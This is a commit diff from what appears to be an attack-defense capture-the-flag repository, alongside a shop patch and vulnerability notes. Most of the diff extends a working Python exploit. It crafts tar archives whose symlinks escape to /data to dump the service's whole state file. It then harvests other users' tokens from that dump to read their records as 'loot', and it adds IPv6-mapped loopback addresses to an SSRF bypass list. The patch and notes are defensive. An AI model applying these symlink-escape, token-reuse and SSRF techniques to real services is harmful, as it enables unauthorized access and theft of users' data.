Compare commits
7
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e112480339 | ||
|
|
f09895d65e | ||
|
|
98ad0ae2de | ||
|
|
e06fd3d9ed | ||
|
|
36c5a18577 | ||
|
|
ef120ca5a5 | ||
|
|
7e96966188 |
No files matched your search
+314
-15
@@ -9,6 +9,9 @@ import os
|
||||
import re
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
||||
from urllib.request import Request, urlopen
|
||||
@@ -16,10 +19,24 @@ from urllib.request import Request, urlopen
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8086
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
MAX_RESPONSE = 256 * 1024
|
||||
MAX_RESPONSE = 8 * 1024 * 1024
|
||||
MAX_STATE_RESPONSE = 64 * 1024 * 1024
|
||||
MAX_OBJECTS = 6
|
||||
MAX_STATE_FLIGHTS = 512
|
||||
TOTAL_RUNTIME = 7.0
|
||||
IMPORTER_KEY = "orbit-importer-service-key"
|
||||
ID_PATTERN = re.compile(r"\b(?:ship|flight|summary|grant)-[0-9a-fA-F]{32}\b")
|
||||
ID_PATTERN = re.compile(
|
||||
r"\b(?:ship|flight|summary|grant)-[0-9a-f]{32}\b", re.IGNORECASE
|
||||
)
|
||||
CONTEXT_PATTERNS = {
|
||||
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
|
||||
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
|
||||
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
|
||||
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
|
||||
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
|
||||
}
|
||||
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
|
||||
STATE_DUMP_MARKER = "orbital-state-dump"
|
||||
|
||||
|
||||
class ExploitError(Exception):
|
||||
@@ -47,29 +64,36 @@ def parse_target(target: str) -> tuple[str, str]:
|
||||
raise ValueError("target address must not include query or fragment")
|
||||
port = parsed.port
|
||||
if port is None:
|
||||
port = 443 if explicit_scheme and parsed.scheme == "https" else 80 if explicit_scheme else SERVICE_PORT
|
||||
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||
|
||||
|
||||
def request(base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None) -> tuple[int, bytes]:
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
method: str = "GET",
|
||||
body: bytes | None = None,
|
||||
headers=None,
|
||||
max_response: int = MAX_RESPONSE,
|
||||
) -> tuple[int, bytes]:
|
||||
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
|
||||
if headers:
|
||||
request_headers.update(headers)
|
||||
req = Request(base + path, data=body, headers=request_headers, method=method)
|
||||
try:
|
||||
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
data = response.read(max_response + 1)
|
||||
if len(data) > max_response:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data
|
||||
except HTTPError as exc:
|
||||
return exc.code, exc.read(MAX_RESPONSE)
|
||||
return exc.code, exc.read(max_response)
|
||||
|
||||
|
||||
def rpc(base: str, action: str, **fields):
|
||||
def rpc(base: str, action: str, _response_limit: int = MAX_RESPONSE, **fields):
|
||||
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||
status, raw = request(
|
||||
base,
|
||||
@@ -77,6 +101,7 @@ def rpc(base: str, action: str, **fields):
|
||||
method="POST",
|
||||
body=payload,
|
||||
headers={"Content-Type": "application/json"},
|
||||
max_response=_response_limit,
|
||||
)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
@@ -150,6 +175,273 @@ def symlink_tar(name: str, target: str) -> bytes:
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def state_dump_tar(flight_id: str) -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
escape = tarfile.TarInfo("escape")
|
||||
escape.type = tarfile.SYMTYPE
|
||||
escape.linkname = "/data"
|
||||
archive.addfile(escape)
|
||||
state_link = tarfile.TarInfo("escape/state.json.tmp")
|
||||
state_link.type = tarfile.SYMTYPE
|
||||
state_link.linkname = f"/data/navigation/{flight_id}.txt"
|
||||
archive.addfile(state_link)
|
||||
report = b"ok"
|
||||
entry = tarfile.TarInfo("report.txt")
|
||||
entry.size = len(report)
|
||||
archive.addfile(entry, io.BytesIO(report))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def context_path(base: str) -> Path:
|
||||
configured = os.environ.get("ORBITAL_STATE_DIR")
|
||||
root = (
|
||||
Path(configured)
|
||||
if configured
|
||||
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
|
||||
)
|
||||
if os.name == "nt":
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
else:
|
||||
root.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
root.chmod(0o700)
|
||||
name = hashlib.sha256(base.encode()).hexdigest() + ".json"
|
||||
return root / name
|
||||
|
||||
|
||||
def valid_context(document, base: str) -> bool:
|
||||
return (
|
||||
isinstance(document, dict)
|
||||
and document.get("base") == base
|
||||
and all(
|
||||
isinstance(document.get(key), str) and pattern.fullmatch(document[key])
|
||||
for key, pattern in CONTEXT_PATTERNS.items()
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def load_context(base: str):
|
||||
try:
|
||||
document = json.loads(context_path(base).read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError):
|
||||
return None
|
||||
return document if valid_context(document, base) else None
|
||||
|
||||
|
||||
def save_context(base: str, context) -> None:
|
||||
path = context_path(base)
|
||||
document = {"base": base, **context}
|
||||
temporary = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
dir=path.parent,
|
||||
prefix=path.name + ".",
|
||||
delete=False,
|
||||
) as handle:
|
||||
temporary = Path(handle.name)
|
||||
json.dump(document, handle, separators=(",", ":"))
|
||||
if os.name != "nt":
|
||||
temporary.chmod(0o600)
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if temporary is not None:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def discard_context(base: str) -> None:
|
||||
try:
|
||||
context_path(base).unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def create_host_context(base: str):
|
||||
token = register(base)
|
||||
ship_id = rpc(base, "create_ship", token=token)["ship_id"]
|
||||
profile_id = rpc(base, "create_profile", token=token, ship_id=ship_id)["profile_id"]
|
||||
flight_id = rpc(
|
||||
base,
|
||||
"create_flight",
|
||||
token=token,
|
||||
geometry=STATE_DUMP_MARKER,
|
||||
map_version=STATE_DUMP_MARKER,
|
||||
options=STATE_DUMP_MARKER,
|
||||
manifest=STATE_DUMP_MARKER,
|
||||
navigation=STATE_DUMP_MARKER,
|
||||
)["flight_id"]
|
||||
package_id = rpc(base, "create_package", token=token)["package_id"]
|
||||
context = {
|
||||
"token": token,
|
||||
"ship_id": ship_id,
|
||||
"profile_id": profile_id,
|
||||
"flight_id": flight_id,
|
||||
"package_id": package_id,
|
||||
}
|
||||
try:
|
||||
save_context(base, context)
|
||||
except OSError as exc:
|
||||
print(f"state cache unavailable: {exc}", file=sys.stderr)
|
||||
return context
|
||||
|
||||
|
||||
def trigger_persist(base: str, context) -> None:
|
||||
rpc(
|
||||
base,
|
||||
"edit_profile",
|
||||
token=context["token"],
|
||||
profile_id=context["profile_id"],
|
||||
ship_id=context["ship_id"],
|
||||
)
|
||||
|
||||
|
||||
def dump_state(base: str, context) -> str:
|
||||
upload_package(
|
||||
base,
|
||||
context["package_id"],
|
||||
context["token"],
|
||||
regular_tar("report.txt", b"approved"),
|
||||
)
|
||||
rpc(base, "approve_package", token=context["token"], package_id=context["package_id"])
|
||||
upload_package(
|
||||
base,
|
||||
context["package_id"],
|
||||
context["token"],
|
||||
state_dump_tar(context["flight_id"]),
|
||||
)
|
||||
rpc(
|
||||
base,
|
||||
"generate_report",
|
||||
token=context["token"],
|
||||
package_id=context["package_id"],
|
||||
attachment="report.txt",
|
||||
)
|
||||
try:
|
||||
trigger_persist(base, context)
|
||||
result = rpc(
|
||||
base,
|
||||
"read_navigation",
|
||||
_response_limit=MAX_STATE_RESPONSE,
|
||||
token=context["token"],
|
||||
flight_id=context["flight_id"],
|
||||
)
|
||||
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||
if not isinstance(navigation, str):
|
||||
raise ExploitError("state dump: missing navigation")
|
||||
return navigation
|
||||
finally:
|
||||
try:
|
||||
trigger_persist(base, context)
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"state persistence cleanup: {exc}", file=sys.stderr)
|
||||
|
||||
|
||||
def state_payloads(state) -> list[str]:
|
||||
values: list[str] = []
|
||||
messages = state.get("messages", {})
|
||||
if isinstance(messages, dict):
|
||||
for items in messages.values():
|
||||
if isinstance(items, list):
|
||||
values.extend(item for item in items if isinstance(item, str))
|
||||
jobs = state.get("jobs", {})
|
||||
if isinstance(jobs, dict):
|
||||
for job in jobs.values():
|
||||
result = job.get("result") if isinstance(job, dict) else None
|
||||
if isinstance(result, list):
|
||||
values.extend(item for item in result if isinstance(item, str))
|
||||
flights = state.get("flights", {})
|
||||
if isinstance(flights, dict):
|
||||
for flight in flights.values():
|
||||
if not isinstance(flight, dict):
|
||||
continue
|
||||
for key in ("geometry", "map_version", "options", "manifest"):
|
||||
value = flight.get(key)
|
||||
if isinstance(value, str):
|
||||
values.append(value)
|
||||
summaries = state.get("summaries", {})
|
||||
if isinstance(summaries, dict):
|
||||
for summary in summaries.values():
|
||||
content = summary.get("content") if isinstance(summary, dict) else None
|
||||
if isinstance(content, str):
|
||||
values.append(content)
|
||||
imports = state.get("imports", {})
|
||||
if isinstance(imports, dict):
|
||||
for item in imports.values():
|
||||
if isinstance(item, list) and len(item) == 2 and isinstance(item[1], str):
|
||||
values.append(item[1])
|
||||
return values
|
||||
|
||||
|
||||
def exploit_host_only(base: str, deadline: float) -> list[str]:
|
||||
context = load_context(base)
|
||||
if context is None:
|
||||
context = create_host_context(base)
|
||||
try:
|
||||
raw_state = dump_state(base, context)
|
||||
except ExploitError as exc:
|
||||
stale_markers = (
|
||||
"invalid token",
|
||||
"unknown ship",
|
||||
"unknown profile",
|
||||
"unknown flight",
|
||||
"unknown package",
|
||||
)
|
||||
if not any(marker in str(exc) for marker in stale_markers):
|
||||
raise
|
||||
discard_context(base)
|
||||
context = create_host_context(base)
|
||||
raw_state = dump_state(base, context)
|
||||
try:
|
||||
state = json.loads(raw_state)
|
||||
except ValueError as exc:
|
||||
raise ExploitError("state dump: invalid JSON") from exc
|
||||
if not isinstance(state, dict):
|
||||
raise ExploitError("state dump: invalid state")
|
||||
loot = state_payloads(state)
|
||||
users = state.get("users", {})
|
||||
flights = state.get("flights", {})
|
||||
owner_tokens = {}
|
||||
if isinstance(users, dict):
|
||||
for token, owner in users.items():
|
||||
if isinstance(token, str) and isinstance(owner, str):
|
||||
owner_tokens.setdefault(owner, token)
|
||||
checked = 0
|
||||
if isinstance(flights, dict):
|
||||
for flight_id, flight in flights.items():
|
||||
if checked >= MAX_STATE_FLIGHTS or time.monotonic() >= deadline:
|
||||
break
|
||||
if not isinstance(flight_id, str) or not isinstance(flight, dict):
|
||||
continue
|
||||
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
|
||||
continue
|
||||
token = owner_tokens.get(flight.get("owner"))
|
||||
if not isinstance(token, str):
|
||||
continue
|
||||
checked += 1
|
||||
try:
|
||||
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
|
||||
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||
if isinstance(navigation, str):
|
||||
try:
|
||||
nested_state = json.loads(navigation)
|
||||
except ValueError:
|
||||
nested_state = None
|
||||
state_keys = {"users", "ships", "messages", "flights", "packages"}
|
||||
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
|
||||
loot.extend(state_payloads(nested_state))
|
||||
else:
|
||||
loot.append(navigation)
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
continue
|
||||
print(f"state dump navigation reads: {checked}", file=sys.stderr)
|
||||
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
|
||||
return list(dict.fromkeys(item for item in sanitized if item))
|
||||
|
||||
|
||||
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
|
||||
status, raw = request(
|
||||
base,
|
||||
@@ -158,14 +450,12 @@ def upload_package(base: str, package_id: str, token: str, content: bytes) -> No
|
||||
body=content,
|
||||
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
|
||||
)
|
||||
if status != 200:
|
||||
raise ExploitError(f"package upload: HTTP {status}")
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError("package upload: invalid response") from exc
|
||||
if not document.get("ok"):
|
||||
raise ExploitError("package upload failed")
|
||||
if status != 200 or not document.get("ok"):
|
||||
raise ExploitError(f"package upload: {document.get('error', f'HTTP {status}')}")
|
||||
|
||||
|
||||
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
|
||||
@@ -212,7 +502,15 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
|
||||
return [raw.decode("utf-8", errors="replace")]
|
||||
token = register(base)
|
||||
last_error = None
|
||||
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
|
||||
for internal_host in (
|
||||
"0.0.0.0",
|
||||
"0",
|
||||
"0000",
|
||||
"0x0",
|
||||
"::ffff:127.0.0.1",
|
||||
"::ffff:7f00:1",
|
||||
"::ffff:0.0.0.0",
|
||||
):
|
||||
try:
|
||||
result = rpc(
|
||||
base,
|
||||
@@ -252,10 +550,11 @@ def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
||||
|
||||
|
||||
def run_exploit(target: str) -> list[str]:
|
||||
started = time.monotonic()
|
||||
base, hint = parse_target(target)
|
||||
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
|
||||
if not identifiers:
|
||||
raise ValueError("checker hint with an orbital object id is required")
|
||||
return exploit_host_only(base, started + TOTAL_RUNTIME)
|
||||
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
|
||||
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
|
||||
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
|
||||
@@ -291,7 +590,7 @@ def run_exploit(target: str) -> list[str]:
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST#CHECKER_HINT", file=sys.stderr)
|
||||
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
loot = run_exploit(sys.argv[1])
|
||||
|
||||
+10
-1
@@ -293,7 +293,10 @@ def invalidate_promo():
|
||||
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
||||
return error("invalid promo code")
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("DELETE FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip()))
|
||||
cur.execute(
|
||||
"DELETE FROM promo_codes WHERE user_id=%s AND code=%s AND credited_at IS NOT NULL",
|
||||
(session["user_id"], code.strip()),
|
||||
)
|
||||
if cur.rowcount == 0:
|
||||
return error("promo code is unavailable", 409)
|
||||
return jsonify(invalidated=True, code=code.strip())
|
||||
@@ -509,6 +512,9 @@ def order_product(product_id):
|
||||
return None, error("product not found", 404)
|
||||
if row["seller_id"] == session["user_id"]:
|
||||
return None, error("cannot buy your own product")
|
||||
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||
if cur.fetchone():
|
||||
return None, error("promo code must be invalidated", 409)
|
||||
if row["balance"] < row["price"]:
|
||||
return None, error("insufficient balance", 409)
|
||||
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
||||
@@ -534,6 +540,9 @@ def checkout():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
buyer = cur.fetchone()
|
||||
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||
if cur.fetchone():
|
||||
return error("promo code must be invalidated", 409)
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
||||
|
||||
@@ -2,6 +2,16 @@
|
||||
|
||||
## Confirmed vulnerabilities
|
||||
|
||||
### Fresh-buyer cargo purchase
|
||||
|
||||
The checker creates flag-bearing products priced within the 200-credit budget of a newly registered buyer: the account starts with 100 credits and its one-time promo adds 100. An attacker can therefore register a buyer, credit the issued promo, buy an active product, wait for automatic warehouse delivery, and read its cargo through `GET /api/orders` without bypassing authentication.
|
||||
|
||||
Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`.
|
||||
|
||||
The emergency patch requires the buyer to finish the existing promo lifecycle before either direct purchase or checkout. `promo/invalidate` now succeeds only after credit, and both purchase paths return 409 while a promo row remains. Routes, successful response bodies, prices, delivery, existing orders, and cargo retrieval are unchanged. A synthetic route-level regression confirmed that purchase before invalidation is blocked, credit followed by invalidation preserves direct buy and checkout, and an uncredited promo cannot be deleted to bypass the gate.
|
||||
|
||||
This is containment for the observed exploit, not a durable confidentiality boundary. An adaptive attacker can call the public invalidate endpoint and reproduce the checker workflow. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
|
||||
|
||||
### Cross-seller review cursor BOLA
|
||||
|
||||
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
|
||||
|
||||
Reference in new issue
Block a user